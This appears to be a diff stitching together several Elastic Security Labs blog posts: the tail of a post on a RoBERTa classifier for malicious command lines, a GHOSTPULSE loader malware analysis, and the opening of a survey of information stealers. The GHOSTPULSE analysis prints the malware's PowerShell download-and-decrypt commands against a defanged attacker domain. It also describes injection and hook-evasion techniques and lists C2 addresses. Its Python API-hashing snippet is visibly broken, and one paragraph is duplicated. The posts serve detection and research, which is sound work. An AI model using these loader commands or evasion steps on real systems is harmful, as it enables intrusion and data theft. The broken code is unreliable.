Hugging Face comes equipped with a [Tokenizers](https://huggingface.co/docs/transformers/v4.21.0/en/main_classes/tokenizer) library consisting of some of today's most used tokenizers. For our model, we used the [RobertaTokenizer](https://huggingface.co/docs/transformers/model_doc/roberta#transformers.RobertaTokenizer) which uses [Byte Pair Encoding](https://en.wikipedia.org/wiki/Byte_pair_encoding) (BPE) to create tokens. This tokenization scheme is well-suited for data belonging to a different domain (command lines) from that of the tokenization corpus (English text). A code snippet of how we tokenized our dataset using **RobertaTokenizer** can be found [here](https://gist.github.com/ajosh0504/4560af91adb48212402300677cb65d4a#file-tokenize-py). We then used Hugging Face's [Trainer](https://huggingface.co/docs/transformers/v4.21.0/en/main_classes/trainer#transformers.Trainer) API to train the model, a code snippet of which can be found [here](https://gist.github.com/ajosh0504/4560af91adb48212402300677cb65d4a#file-train-py).
|
||||
|
||||
ML models do not understand raw text. Before using text data as inputs to a model, it needs to be converted into numbers. Tokenizers group large pieces of text into smaller semantically useful units, such as (but not limited to) words, characters, or subwords — called token —, which can, in turn, be converted into numbers using different encoding techniques.
|
||||
|
||||
> - Check out [this](https://youtu.be/_BZearw7f0w) video (2:57 onwards) to review additional pre-processing steps that might be needed after tokenization based on your dataset.
|
||||
> - A complete tutorial on how to fine-tune pre-trained Hugging Face models can be found [here](https://huggingface.co/docs/transformers/training).
|
||||
|
||||
## Importing custom models into Elastic
|
||||
|
||||
Once you have a trained model that you are happy with, it's time to import it into Elastic. This is done using [Eland](https://www.elastic.co/guide/en/elasticsearch/client/eland/current/machine-learning.html), a Python client and toolkit for machine learning in Elasticsearch. A code snippet of how we imported our model into Elastic using Eland can be found [here](https://gist.github.com/ajosh0504/4560af91adb48212402300677cb65d4a#file-import-py).
|
||||
You can verify that the model has been imported successfully by navigating to **Model Management \\> Trained Models** via the Machine Learning UI in Kibana:
|
||||
|
||||

|
||||
|
||||
## Using the Transformer model for inference — a series of experiments
|
||||
|
||||
We ran a series of experiments to evaluate whether or not our Transformer model could be used for real-time inference. For the experiments, we used a dataset consisting of ~66k command lines.
|
||||
|
||||
Our first inference run with our fine-tuned **RoBERTa** model took ~4 hours on the test dataset. At the outset, this is much slower than the tree-based model that we were trying to beat at ~3 minutes for the entire dataset. It was clear that we needed to improve the throughput and latency of the PyTorch model to make it suitable for real-time inference, so we performed several experiments:
|
||||
|
||||
### Using multiple nodes and threads
|
||||
|
||||
The latency numbers above were observed when the models were running on a single thread on a single node. If you have multiple Machine Learning (ML) nodes associated with your Elastic deployment, you can run inference on multiple nodes, and also on multiple threads on each node. This can significantly improve the throughput and latency of your models.
|
||||
|
||||
You can change these parameters while starting the trained model deployment via the [API](https://www.elastic.co/guide/en/elasticsearch/reference/master/start-trained-model-deployment.html):
|
||||
|
||||
```
|
||||
**POST \_ml/trained\_models/\\<model\_id\\>/deployment/\_start?number\_of\_allocations=2&threa ds\_per\_allocation=4**
|
||||
```
|
||||
|
||||
**number_of_allocations** allows you to set the total number of allocations of a model across machine learning nodes and can be used to tune model throughput. **threads_per_allocation** allows you to set the number of threads used by each model allocation during inference and can be used to tune model latency. Refer to the [API documentation](https://www.elastic.co/guide/en/elasticsearch/reference/master/start-trained-model-deployment.html) for best practices around setting these parameters.
|
||||
|
||||
In our case, we set the **number_of_allocations** to **2** , as our cluster had two ML nodes and **threads_per_allocation** to **4** , as each node had four allocated processors.
|
||||
|
||||
Running inference using these settings **resulted in a 2.7x speedup** on the original inference time.
|
||||
|
||||
### Dynamic quantization
|
||||
|
||||
Quantizing is one of the most effective ways of improving model compute cost, while also reducing model size. The idea here is to use a reduced precision integer representation for the weights and/or activations. While there are a number of ways to trade off model accuracy for increased throughput during model development, [dynamic quantization](https://pytorch.org/tutorials/intermediate/dynamic_quantization_bert_tutorial.html) helps achieve a similar trade-off after the fact, thus saving on time and resources spent on iterating over the model training.
|
||||
|
||||
Eland provides a way to dynamically quantize your model before importing it into Elastic. To do this, simply pass in quantize=True as an argument while creating the TransformerModel object (refer to the code snippet for importing models) as follows:
|
||||
|
||||
```
|
||||
**# Load the custom model**
|
||||
**tm = TransformerModel("model", "text\_classification", quantize=True)**
|
||||
```
|
||||
|
||||
In the case of our command line classification model, we observed the model size drop from 499 MB to 242 MB upon dynamic quantization. Running inference on our test dataset using this model **resulted in a 1.6x speedup** on the original inference time, for a slight drop in model [**sensitivity**](https://en.wikipedia.org/wiki/Sensitivity_and_specificity) (exact numbers in the following section) **.**
|
||||
|
||||
### Knowledge Distillation
|
||||
|
||||
[Knowledge Distillation](https://towardsdatascience.com/knowledge-distillation-simplified-dd4973dbc764) is a way to achieve model compression by transferring knowledge from a large (teacher) model to a smaller (student) one while maintaining validity. At a high level, this is done by using the outputs from the teacher model at every layer, to backpropagate error through the student model. This way, the student model learns to replicate the behavior of the teacher model. Model compression is achieved by reducing the number of parameters, which is directly related to the latency of the model.
|
||||
|
||||
To study the effect of knowledge distillation on the performance of our model, we fine-tuned a [distilroberta-base](https://huggingface.co/distilroberta-base) model (following the same procedure described in the fine-tuning section) for our command line classification task and imported it into Elastic. **distilroberta-base** has 82 million parameters, compared to its teacher model, **roberta-base** , which has 125 million parameters. The model size of the fine-tuned **DistilRoBERTa** model turned out to be **329** MB, down from **499** MB for the **RoBERTa** model.
|
||||
|
||||
Upon running inference with this model, we **observed a 1.5x speedup** on the original inference time and slightly better model sensitivity (exact numbers in the following section) than the fine-tuned roberta-base model.
|
||||
|
||||
### Dynamic quantization and knowledge distillation
|
||||
|
||||
We observed that dynamic quantization and model distillation both resulted in significant speedups on the original inference time. So, our final experiment involved running inference with a quantized version of the fine-tuned **DistilRoBERTa** model.
|
||||
|
||||
We found that this **resulted in a 2.6x speedup** on the original inference time, and slightly better model sensitivity (exact numbers in the following section). We also observed the model size drop from **329** MB to **199** MB after quantization.
|
||||
|
||||
## Bringing it all together
|
||||
|
||||
Based on our experiments, dynamic quantization and model distillation resulted in significant inference speedups. Combining these improvements with distributed and parallel computing, we were further able to **reduce the total inference time on our test set from four hours to 35 minutes**. However, even our fastest transformer model was still several magnitudes slower than the tree-based model, despite using significantly more CPU resources.
|
||||
|
||||
The Machine Learning team here at Elastic is introducing an inference caching mechanism in version 8.4 of the Elastic Stack, to save time spent on performing inference on repeat samples. These are a common occurrence in real-world environments, especially when it comes to Security. With this optimization in place, we are optimistic that we will be able to use transformer models alongside tree-based models in the future.
|
||||
|
||||
A comparison of the sensitivity (true positive rate) and specificity (true negative rate) of our tree-based and transformer models shows that an ensemble of the two could potentially result in a more performant model:
|
||||
|
||||
| | | | | |
|
||||
| ----------------------- | --------------- | ----------------------- | --------------- | ----------------------- |
|
||||
| Model | Sensitivity (%) | False Negative Rate (%) | Specificity (%) | False Positive Rate (%) |
|
||||
| Tree-based | 99.53 | 0.47 | 99.99 | 0.01 |
|
||||
| RoBERTa | 99.57 | 0.43 | 97.76 | 2.24 |
|
||||
| RoBERTa quantized | 99.56 | 0.44 | 97.64 | 2.36 |
|
||||
| DistilRoBERTa | 99.68 | 0.32 | 98.66 | 1.34 |
|
||||
| DistilRoBERTa quantized | 99.69 | 0.31 | 98.71 | 1.29 |
|
||||
|
||||
As seen above, the tree-based model is better suited for classifying benign data while the transformer model does better on malicious samples, so a weighted average or voting ensemble could work well to reduce the total error by averaging the predictions from both the models.
|
||||
|
||||
## What's next
|
||||
|
||||
We plan to cover our findings from inference caching and model ensembling in a follow-up blog. Stay tuned!
|
||||
|
||||
In the meanwhile, we’d love to hear about models you're building for inference in Elastic. If you'd like to share what you're doing or run into any issues during the process, please reach out to us on our [community Slack channel](https://ela.st/slack)and [discussion forums](https://discuss.elastic.co/c/security). Happy experimenting!
|
|
@ -0,0 +1,360 @@
|
|||
---
|
||||
title: "GHOSTPULSE haunts victims using defense evasion bag o' tricks"
|
||||
slug: "ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks"
|
||||
date: "2023-10-27"
|
||||
description: "Elastic Security Labs reveals details of a new campaign leveraging defense evasion capabilities to infect victims with malicious MSIX executables."
|
||||
author:
|
||||
- slug: salim-bitam
|
||||
- slug: joe-desimone
|
||||
image: "photo-edited-05@2x.jpg"
|
||||
category:
|
||||
- slug: attack-pattern
|
||||
- slug: malware-analysis
|
||||
---
|
||||
|
||||
## Preamble
|
||||
|
||||
Elastic Security Labs has observed a campaign to compromise users with signed [MSIX](https://learn.microsoft.com/en-us/windows/msix/overview) application packages to gain initial access. The campaign leverages a stealthy loader we call GHOSTPULSE which decrypts and injects its final payload to evade detection.
|
||||
|
||||
MSIX is a Windows app package format that developers can leverage to package, distribute, and install their applications to Windows users. With [App Installer](https://learn.microsoft.com/en-us/windows/msix/app-installer/app-installer-root), MSIX packages can be installed with a double click. This makes them a potential target for adversaries looking to compromise unsuspecting victims. However, MSIX requires access to purchased or stolen code signing certificates making them viable to groups of above-average resources.
|
||||
|
||||
In a common attack scenario, we suspect the users are directed to download malicious MSIX packages through [compromised websites](https://www.proofpoint.com/us/blog/threat-insight/are-you-sure-your-browser-date-current-landscape-fake-browser-updates), search-engine optimization (SEO) techniques, or malvertising. The masquerading themes we’ve observed include installers for Chrome, Brave, Edge, Grammarly, and WebEx to highlight a few.
|
||||
|
||||

|
||||
|
||||
From the user's perspective, the “Install” button appears to function as intended. No pop-ups or warnings are presented. However, a PowerShell script is covertly used to download, decrypt, and execute GHOSTPULSE on the system.
|
||||
|
||||

|
||||
|
||||
## Malware Analysis
|
||||
|
||||
The GHOSTPULSE loader can be broken down into 3 stages (sometimes preceded by a PowerShell script) used to execute a final payload.
|
||||
|
||||
### Stage 0
|
||||
|
||||
We consider the PowerShell script dropped by the malicious MSIX installer to be the stage 0 payload. The PowerShell script is typically included in MSIX infection vectors, but not always in other GHOSTPULSE infection methods (MSI, EXE, ISO). In one sample, the PowerShell script downloads a GPG-encrypted file from `manojsinghnegi[.]com/2.tar.gpg`.
|
||||
|
||||
Next, the PowerShell script decrypts the file using the command-line GPG utility using the following parameters:
|
||||
|
||||
- `putin` - the passphrase for the GPG file
|
||||
- `--batch` - execute GPG in non-interactive mode
|
||||
- `--yes` - answer “yes” to any prompts
|
||||
- `--passphrase-fd 0` - read the passphrase from a file descriptor, 0 instructs GPG to use STDIN, which is putin
|
||||
- `--decrypt` - decrypt a file
|
||||
- `--output` - what to save the decrypted file as
|
||||
|
||||
```
|
||||
# 1
|
||||
$url = "https://manojsinghnegi[.]com/2.tar.gpg"
|
||||
$outputPath = "$env:APPDATA\$xxx.gpg"
|
||||
Invoke-WebRequest -Uri $url -OutFile $outputPath
|
||||
|
||||
# 1
|
||||
echo 'putin' | .$env:APPDATA\gpg.exe --batch --yes --passphrase-fd 0 --decrypt --output $env:APPDATA\$xxx.rar $env:APPDATA\$xxx.gpg
|
||||
```
|
||||
|
||||
The GPG utility is included in the malicious MSIX installer package.
|
||||
|
||||
The decrypted file is a tar archive containing an executable `VBoxSVC.exe` which is in reality a renamed signed `gup.exe` executable that is used to update Notepad++, which is vulnerable to sideloading, an encrypted file in one example `handoff.wav` and a mostly benign library `libcurl.dll` with one of its functions overwritten with malicious code. The PowerShell executes the binary `VBoxSVC.exe` that will side load from the current directory the malicious DLL `libcurl.dll`. By minimizing the on-disk footprint of encrypted malicious code, the threat actor is able to evade file-based AV and ML scanning.
|
||||
|
||||

|
||||
|
||||
### Stage 1
|
||||
|
||||
The first stage of GHOSTPULSE is embedded within a malicious DLL that undergoes side-loading through a benign executable. Execution of the corresponding code is triggered during the *DllEntryPoint* phase.
|
||||
|
||||
The process is initiated by pinpointing the base address of the malicious DLL of `libcurl.dll`, achieved through parsing the *InLoadOrderModuleList* API. This list, residing in the Process Environment Block (PEB), systematically records information about loaded modules.
|
||||
|
||||

|
||||
|
||||
Next, GHOSTPULSE builds an Import Address Table (IAT) incorporating essential APIs. This operation involves parsing the *InLoadOrderModuleList* structure within the Process Environment Block (PEB).
|
||||
|
||||

|
||||
|
||||
```
|
||||
# Python code used for API hashing
|
||||
def calculate_api_name_hash(api_name):
|
||||
value = 0
|
||||
for char in input_string:
|
||||
total = (ord(char) + value *0x1003F)&0xFFFFFFFF
|
||||
return value
|
||||
```
|
||||
|
||||
Below is the Stage 1 IAT structure reconstructed from the GHOSTPULSE malware sample, provided for reference:
|
||||
|
||||
```
|
||||
struct core_stage1_IAT
|
||||
{
|
||||
void *kernel32_LoadLibraryW;
|
||||
void *kernel32_QueryPerformanceCounter;
|
||||
void *ntdll_module;
|
||||
void *kernel32_CloseHandle;
|
||||
__int64 field_20;
|
||||
__int64 field_28;
|
||||
__int64 field_30;
|
||||
__int64 field_38;
|
||||
void *kernel32_GetTempPathW;
|
||||
void *kernel32_GetModuleFileNameW;
|
||||
__int64 field_50;
|
||||
__int64 field_58;
|
||||
__int64 field_60;
|
||||
void *ntdll__swprintf;
|
||||
__int64 field_70;
|
||||
__int64 field_78;
|
||||
__int64 (__fastcall *ntdll_RtlDecompressBuffer)(__int64, __int64, _QWORD, __int64, int, int *);
|
||||
void *kernel32_CreateFileW;
|
||||
void *kernel32_ReadFile;
|
||||
void *ntdll_NtQueryInformationProcess;
|
||||
void *kernel32_GetFileSize;
|
||||
__int64 field_A8;
|
||||
void *kernel32_module;
|
||||
__int64 field_B8;
|
||||
void *ntdll_NtDelayExecution;
|
||||
__int64 (__fastcall *kernel32_GlobalAlloc)(__int64, __int64);
|
||||
__int64 field_D0;
|
||||
void *kernel32_GlobalFree;
|
||||
__int64 field_E0;
|
||||
void *ntdll_RtlQueryEnvironmentVariable_U;
|
||||
};
|
||||
```
|
||||
|
||||
It then proceeds with its operation by reading and parsing the file named `handoff.wav` from the current directory. This file contains an encrypted data blob divided into distinct chunks. Each chunk of data is positioned following the string IDAT. The parsing process involves the malware executing through two distinct steps.
|
||||
|
||||

|
||||
|
||||
The initial phase involves identifying the commencement of the encrypted data by searching for the IDAT string in the file, which is followed by a distinctive 4-byte tag value. If the tag corresponds to the value stored in the malware's configuration, the malware extracts the bytes of the encrypted blob. The initial structure is as follows:
|
||||
|
||||
```
|
||||
struct initial_idat_chunk
|
||||
{
|
||||
DWORD size_of_chunk;
|
||||
DWORD IDAT_string;
|
||||
DWORD tag;
|
||||
DWORD xor_key;
|
||||
DWORD size_of_encrypted_blob;
|
||||
_BYTE first_chunk[];
|
||||
};
|
||||
```
|
||||
|
||||
- **size_of_chunk**: The malware utilizes this value, performing bits shifting to determine the chunk size to extract before the next occurrence of IDAT.
|
||||
- **xor_key**: A 4-byte long XOR key employed for decrypting the consolidated encrypted blob after extraction
|
||||
- **size_of_encrypted_blob**: Denotes the overall size of the encrypted blob, which is stored in chunks within the file
|
||||
- **first_chunk**: Marks the start of the first chunk of data in memory
|
||||
|
||||

|
||||
|
||||
In the second step, the malware locates the next occurrence of IDAT and proceeds to extract the encrypted chunks that follow it which has the following format:
|
||||
|
||||
```
|
||||
struct next_idat_chunk
|
||||
{
|
||||
DWORD size_of_chunk;
|
||||
DWORD IDAT_string;
|
||||
_BYTE n_chunk[];
|
||||
};
|
||||
```
|
||||
|
||||
- **size_of_chunk**: The malware utilizes this value, performing bits shifting to determine the chunk size to extract before the next occurrence of IDAT.
|
||||
- **n_chunk**: Marks the start of the chunk of data in memory
|
||||
|
||||
The malware continues extracting encrypted data chunks until it reaches the specified size_of_encrypted_blob. Subsequently, the malware proceeds to decrypt the data using the 4-byte XOR key *xor_key*.
|
||||
|
||||
At this stage, the data blob, which is already compressed, undergoes decompression by the malware. The decompression process utilizes the `RtlDecompressBuffer` api.
|
||||
|
||||

|
||||
|
||||
The malware proceeds by loading a specified library stored in its configuration, in this case, `mshtml.dll`, utilizing the *LoadLibraryW* function. Shellcode (Stage 2) contained inside the decrypted and decompressed blob of data is written to the .text section of the freshly loaded DLL and then executed.
|
||||
|
||||
This technique is known as “module stomping”. The following image shows the associated *VirtualProtect* API calls captured with [Elastic Defend](https://www.elastic.co/guide/en/security/current/install-endpoint.html) associated with the module stomping:
|
||||
|
||||

|
||||
|
||||
### Stage 2
|
||||
|
||||
Stage 2 initiates by constructing a new IAT structure and utilizing the CRC32 algorithm as the API name hashing mechanism.
|
||||
The following is the IAT structure of stage 2:
|
||||
|
||||
```
|
||||
struct core_stage2_IAT
|
||||
{
|
||||
void *kernel32_module;
|
||||
void *ntdll_module;
|
||||
void *kernel32_CreateFileW;
|
||||
void *kernel32_WriteFile;
|
||||
void *kernel32_ReadFile;
|
||||
void *kernel32_SetFilePointer;
|
||||
void *kernel32_CloseHandle;
|
||||
void *kernel32_GlobalAlloc;
|
||||
void *kernel32_GlobalFree;
|
||||
void *kernel32_ExpandEnvironmentStringsW;
|
||||
void *kernel32_GetFileSize;
|
||||
void *kernel32_GetProcAddress;
|
||||
void *kernel32_LoadLibraryW;
|
||||
void *ntdll__swprintf;
|
||||
void *kernel32_QueryPerformanceCounter;
|
||||
void *ntdll_RtlDecompressBuffer;
|
||||
void *field_80;
|
||||
void *field_88;
|
||||
void *field_90;
|
||||
void *field_98;
|
||||
void *field_A0;
|
||||
void *ntdll_NtDelayExecution;
|
||||
void *ntdll_RtlRandom;
|
||||
void *kernel32_GetModuleFileNameW;
|
||||
void *kernel32_GetCommandLineW;
|
||||
void *field_C8;
|
||||
void *ntdll_sscanf;
|
||||
void *field_D8;
|
||||
void *ntdll_NtQueryInformationProcess;
|
||||
void *ntdll_NtQuerySystemInformation;
|
||||
void *kernel32_CreateDirectoryW;
|
||||
void *kernel32_CopyFileW;
|
||||
void *ntdll_NtClose;
|
||||
void *field_108;
|
||||
void *field_110;
|
||||
void *field_118;
|
||||
void *field_120;
|
||||
void *field_128;
|
||||
void *kernel32_SetCurrentDirectoryW;
|
||||
void *field_138;
|
||||
void *kernel32_SetEnvironmentVariableW;
|
||||
void *kernel32_CreateProcessW;
|
||||
void *kernel32_GetFileAttributesW;
|
||||
void *msvcrt_malloc;
|
||||
void *msvcrt_realloc;
|
||||
void *msvcrt_free;
|
||||
void *ntdll_RtlHashUnicodeString;
|
||||
void *field_178;
|
||||
void *field_180;
|
||||
void *kernel32_OpenMutexA;
|
||||
void *field_190;
|
||||
void *kernel32_VirtualProtect;
|
||||
void *kernel32_FlushInstructionCache;
|
||||
void *field_1A8;
|
||||
void *ntdll_NtOpenProcessToken;
|
||||
void *ntdll_NtQueryInformationToken;
|
||||
void *ntdll_RtlWalkFrameChain;
|
||||
void *field_1C8;
|
||||
void *addr_temp_file_content;
|
||||
void *addr_decrypted_file;
|
||||
};
|
||||
```
|
||||
|
||||
Concerning NT functions, the malware reads the ntdll.dll library from disk and writes it to a dynamically allocated memory space with read, write, and execute permissions. Subsequently, it parses the loaded `ntdll.dll` library to extract the offsets of the required NT functions. These offsets are then stored within the newly built IAT structure. When the malware necessitates the execution of an NT API, it adds the API offset to the base address of `ntdll.dll` and directly invokes the API. Given that NT APIs operate at a very low level, they execute syscalls directly, which does not require the `ntdll.dll` library to be loaded in memory using the LoadLibrary API, this is done to evade userland hooks set by security products.
|
||||
|
||||
The following is the structure used by the malware to store NT API offsets:
|
||||
|
||||
```
|
||||
struct __unaligned __declspec(align(4)) core_stage2_nt_offsets_table
|
||||
{
|
||||
__int64 ntdll_module;
|
||||
int ZwCreateSection;
|
||||
int ZwMapViewOfSection;
|
||||
int ZwWriteVirtualMemory;
|
||||
int ZwProtectVirtualMemory;
|
||||
int NtSuspendThread;
|
||||
int ZwResumeThread;
|
||||
int ZwOpenProcess;
|
||||
int ZwGetContextThread;
|
||||
int NtSetContextThread;
|
||||
};
|
||||
```
|
||||
|
||||
GHOSTPULSE has the ability to establish persistence, if configured to, by generating an `.lnk` file that points to the Stage 1 binary, denoted as `VBoxSVC.exe`. To achieve this, the malware leverages COM (Component Object Model) objects as part of its technique.
|
||||
|
||||

|
||||
|
||||
It extracts another sub-blob of data from the first decrypted blob of Stage 1. This data is located at a specific position in the structure. The malware then performs an XOR encryption on this sub-blob, using the result of the XOR operation between the CRC32 value of the machine's computer name and the constant value `0xA1B2D3B4`. Finally, the encrypted data is saved to a file in the user's temporary folder.
|
||||
It extracts another sub-blob of data from the first decrypted blob of Stage 1. This data is located at a specific position in the structure. The malware then performs an XOR encryption on this sub-blob, using the result of the XOR operation between the CRC32 value of the machine's computer name and the constant value `0xA1B2D3B4`. Finally, the encrypted data is saved to a file in the user's temporary folder.
|
||||
|
||||
The malware then initiates a suspended child process using the executable specified in the Stage 2 configuration, which is a 32-bit `cmd.exe` in this case. It then adds an environment variable to the child process with a random name, example: `GFHZNIOWWLVYTESHRTGAVC`, pointing to the previously created temporary file.
|
||||
|
||||
Further, the malware proceeds by creating a section object and mapping a view of it to `mshtml.dll` in the child process using the `ZwCreateSection` and `ZwMapViewOfSection` APIs.
|
||||
|
||||
The legitimate `mshtml.dll` code is overwritten with the *WriteProcessMemory* API. The primary thread’s execution is then redirected to the malicious code in `mshtml.dll` with the *Wow64SetThreadContext* API as shown in the following image:
|
||||
|
||||

|
||||
|
||||
The parent process promptly terminates itself.
|
||||
|
||||
### Stage 3
|
||||
|
||||
The objective of GHOSTPULSE’s Stage 3 is to load and execute the final payload in another process. One interesting part of Stage 3 was that it overwrites its previously executed instructions with new instructions to make analysis difficult. It is also capable of establishing persistence using the same method described above. GHOSTPULSE executes NTDLL APIs using the "[heaven’s gate](https://www.zdnet.com/article/malware-authors-are-still-abusing-the-heavens-gate-technique/)" technique.
|
||||
|
||||

|
||||
|
||||
Stage 3 starts off by constructing its own Function Import Table using CRC32 as the hashing algorithm. Additionally, it has the capability to disable redirection of the file system to WOW64, achieved through the utilization of the procedure `Wow64FsRedirection`, if configured to do so.
|
||||
|
||||
Following this, Stage 3 accesses the environment variable that was set earlier, in our case `GFHZNIOWWLVYTESHRTGAVC`, retrieves the associated temporary file and proceeds to decrypt its contents.
|
||||
|
||||

|
||||
|
||||
The decrypted file includes both a configuration and the ultimate payload in an encrypted format. The final payload undergoes XOR decryption using a 200-byte long key stored within the configuration. The malware then parses the PE structure of the payload with a set of functions that will indicate how the payload will be injected, for example, the type of payload (DLL or executable) architecture, etc.
|
||||
|
||||

|
||||
|
||||
GHOSTPULSE employs [Process Doppelgänging](https://www.elastic.co/blog/process-ghosting-a-new-executable-image-tampering-attack), leveraging the NTFS transactions feature to inject the final payload into a new child process. The following steps illustrate the process:
|
||||
|
||||
- Calls the `CreateTransaction` API to initial a transaction
|
||||
- Creates a transaction file with a random file name in temp folder with the `ZwCreateFile` API
|
||||
- Writes the payload to the temp file using the `ZwWriteFile` API
|
||||
- Creates a section of the transaction file with `ZwCreateSection` API
|
||||
- At this point the file is not needed anymore, the malware calls the `RollbackTransaction` API to roll the transaction back
|
||||
- GHOSTPULSE creates a suspended process with the target process path taken from it's configuration, in our sample `1msbuild.exe1`
|
||||
- It maps a view of the section to the process with the `ZwMapViewOfSection` API
|
||||
- It sets the child process thread instruction pointer to the entry point of the final payload with the `NtSetContextThread` API
|
||||
- Finally it resumes the thread with the `NtResumeThread` API
|
||||
|
||||

|
||||
|
||||
### Final Payload
|
||||
|
||||
The final payload varies from sample to sample but is typically an information stealer. We have observed SectopRAT, Rhadamanthys, Vidar, Lumma, and NetSupport as final payloads. In SectopRAT samples, the malware first reaches out to Pastebin to retrieve the command and control address. In this case, it was `195.201.198[.]179` over TCP port `15647` as shown below:
|
||||
|
||||

|
||||
|
||||
## Configuration extractor
|
||||
|
||||
Alongside this research, the Elastic Security Research Team has provided a [configuration extractor](https://github.com/elastic/labs-releases/blob/main/tools/ghostpulse/ghostpulse_payload_extractor.py) to allow threat researchers to continue work to discover further developments within this campaign and expand detection capabilities for our community. The extractor takes the encrypted file shipped with GHOSTPULSE as the input.
|
||||
|
||||

|
||||
|
||||
## Detection Guidance
|
||||
|
||||
Elastic Defend detects this threat with the following [behavior protection rules](https://github.com/elastic/protections-artifacts/tree/main/behavior):
|
||||
|
||||
- DNS Query to Suspicious Top Level Domain
|
||||
- Library Load of a File Written by a Signed Binary Proxy
|
||||
- Suspicious API Call from an Unsigned DLL
|
||||
- Suspicious Memory Write to a Remote Process
|
||||
- Process Creation from Modified NTDLL
|
||||
|
||||
The following yara rule will also detect GHOSTPULSE loaders on disk:
|
||||
|
||||
- [Windows.Trojan.GhostPulse](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_GhostPulse.yar)
|
||||
|
||||
## Observations
|
||||
|
||||
All observables are also available for [download](https://github.com/elastic/labs-releases/tree/main/indicators/ghostpulse) in both ECS and STIX format.
|
||||
|
||||
The following observables were discussed in this research.
|
||||
|
||||
| Observable | Type | Name | Reference |
|
||||
|------------------------------------------------------------------|-------------|-----------------|-----------------------------|
|
||||
| 78.24.180[.]93 | ip-v4 | | Stage 0 C2 IP |
|
||||
| manojsinghnegi[.]com | domain-name | | Stage 0 C2 domain |
|
||||
| manojsinghnegi[.]com/2.tar.gpg | url | | Stage 0 C2 URL |
|
||||
| 0c01324555494c35c6bbd8babd09527bfc49a2599946f3540bb3380d7bec7a20 | sha256 | Chrome-x64.msix | Malicious MSIX |
|
||||
| ee4c788dd4a173241b60d4830db128206dcfb68e79c68796627c6d6355c1d1b8 | sha256 | Brave-x64.msix | Malicious MSIX |
|
||||
| 4283563324c083f243cf9335662ecc9f1ae102d619302c79095240f969d9d356 | sha256 | Webex.msix | Malicious MSIX |
|
||||
| eb2addefd7538cbd6c8eb42b70cafe82ff2a8210e885537cd94d410937681c61 | sha256 | new1109.ps1 | PowerShell Downloader |
|
||||
| 49e6a11453786ef9e396a9b84aeb8632f395477abc38f1862e44427982e8c7a9 | sha256 | 38190626900.rar | GHOSTPULSE tar archive |
|
||||
| Futurity Designs Ltd | Code signer | | Chrome-x64.msix code signer |
|
||||
| Fodere Titanium Limited | Code signer | | Brave-x64.msix code signer |
|
||||
| IMPERIOUS TECHNOLOGIES LIMITED | Code signer | | Webex.msix code signer |
|
||||
|
||||
## References
|
||||
|
||||
- [https://twitter.com/1ZRR4H/status/1699923793077055821](https://twitter.com/1ZRR4H/status/1699923793077055821)
|
||||
- [https://www.rapid7.com/blog/post/2023/08/31/fake-update-utilizes-new-idat-loader-to-execute-stealc-and-lumma-infostealers/](https://www.rapid7.com/blog/post/2023/08/31/fake-update-utilizes-new-idat-loader-to-execute-stealc-and-lumma-infostealers/)
|
||||
- [https://www.proofpoint.com/us/blog/threat-insight/are-you-sure-your-browser-date-current-landscape-fake-browser-updates](https://www.proofpoint.com/us/blog/threat-insight/are-you-sure-your-browser-date-current-landscape-fake-browser-updates)
|
|
@ -0,0 +1,255 @@
|
|||
---
|
||||
title: "Globally distributed stealers"
|
||||
slug: "globally-distributed-stealers"
|
||||
date: "2024-05-24"
|
||||
description: "This article describes our analysis of the top malware stealer families, unveiling their operation methodologies, recent updates, and configurations. By understanding the modus operandi of each family, we better comprehend the magnitude of their impact and can fortify our defences accordingly."
|
||||
author:
|
||||
- slug: salim-bitam
|
||||
- slug: daniel-stepanic
|
||||
- slug: terrance-dejesus
|
||||
- slug: samir-bousseaden
|
||||
image: "Security Labs Images 25.jpg"
|
||||
category:
|
||||
- slug: malware-analysis
|
||||
---
|
||||
|
||||
## Introduction
|
||||
|
||||
This article describes our analysis of the top Windows malware stealer families that we’ve identified, unveiling their operation methodologies, recent updates, and configurations. By understanding the modus operandi of each family, we better comprehend the magnitude of their impact and can fortify our defences accordingly. Additionally, we’ll examine our unique telemetry to offer insights about the current volume associated with these prevalent malware stealer families.
|
||||
|
||||
Mitigating this kind of covert threat requires a multi-faceted approach consistent with defense-in-depth principles. We will likewise describe various techniques for detection, including the use of ES|QL hunting queries and Yara rules which empower organizations to proactively defend against them.
|
||||
|
||||
## Telemetry overview
|
||||
|
||||
The telemetry data showcased in this article encompasses insights gathered from both internal and external sources, providing a comprehensive understanding of threat activity.
|
||||
|
||||
Notably, between 2022 and 2023, REDLINE emerged as the most prevalent malware in the wild, closely trailed by AGENT TESLA, VIDAR, and then STEALC. It's worth highlighting that this period marked the debut of STEALC in the wild, indicative of evolving threat landscapes.
|
||||
|
||||
In the subsequent time frame, spanning from 2023 to 2024, there was a notable spike in AGENT TESLA activity, followed by REDLINE, STEALC, and VIDAR, reflecting shifting trends in malware prevalence and distribution.
|
||||
|
||||

|
||||
Elastic telemetry data May 2023 - May 2024
|
||||
|
||||
Despite fluctuations in general malware prevalence, AGENT TESLA has consistently maintained its position as a prominent threat. This enduring dominance can be attributed to several factors, including its relatively low price point and enticing capabilities, which appeal to a wide range of threat actors, particularly those operating with limited resources or expertise.
|
||||
|
||||
A noteworthy observation is that due to METASTEALER’s foundation on REDLINE, certain METASTEALER samples may inadvertently fall under the categorization of REDLINE.
|
||||
|
||||

|
||||
|
||||
## Top stealers overview
|
||||
|
||||
### REDLINE (REDLINE STEALER)
|
||||
|
||||
[REDLINE](https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer) made its debut in the threat landscape in 2020, leveraging email as its initial distribution method; it operates on a Malware-as-a-Service (MaaS) model, making it accessible to a wide range of threat actors. Its affordability and availability in underground forums have contributed to its popularity among cybercriminals.
|
||||
|
||||
The latest operations of REDLINE involve multiple infection vectors, including email phishing, malicious websites hosting seemingly legitimate applications, and social engineering tactics. Our researchers analyzed a recent sample [reported by vx-underground](https://x.com/vxunderground/status/1634713832974172167) indicating a campaign targeting engineers on the freelancing platform Fiverr. This tactic poses significant risks, potentially leading to the compromise of companies through unsuspecting freelancers.
|
||||
|
||||
REDLINE is built on the .NET framework, which provides it with portability and ease of implementation. It has a variety of functionalities aimed at gathering vital system information and extracting sensitive data:
|
||||
|
||||
- System information acquisition:
|
||||
- Collects essential system details such as UserName, Language, and Time Zone
|
||||
- Retrieves hardware specifics including processor and graphic card information
|
||||
- Monitors running processes and identifies installed browsers
|
||||
- Data extraction:
|
||||
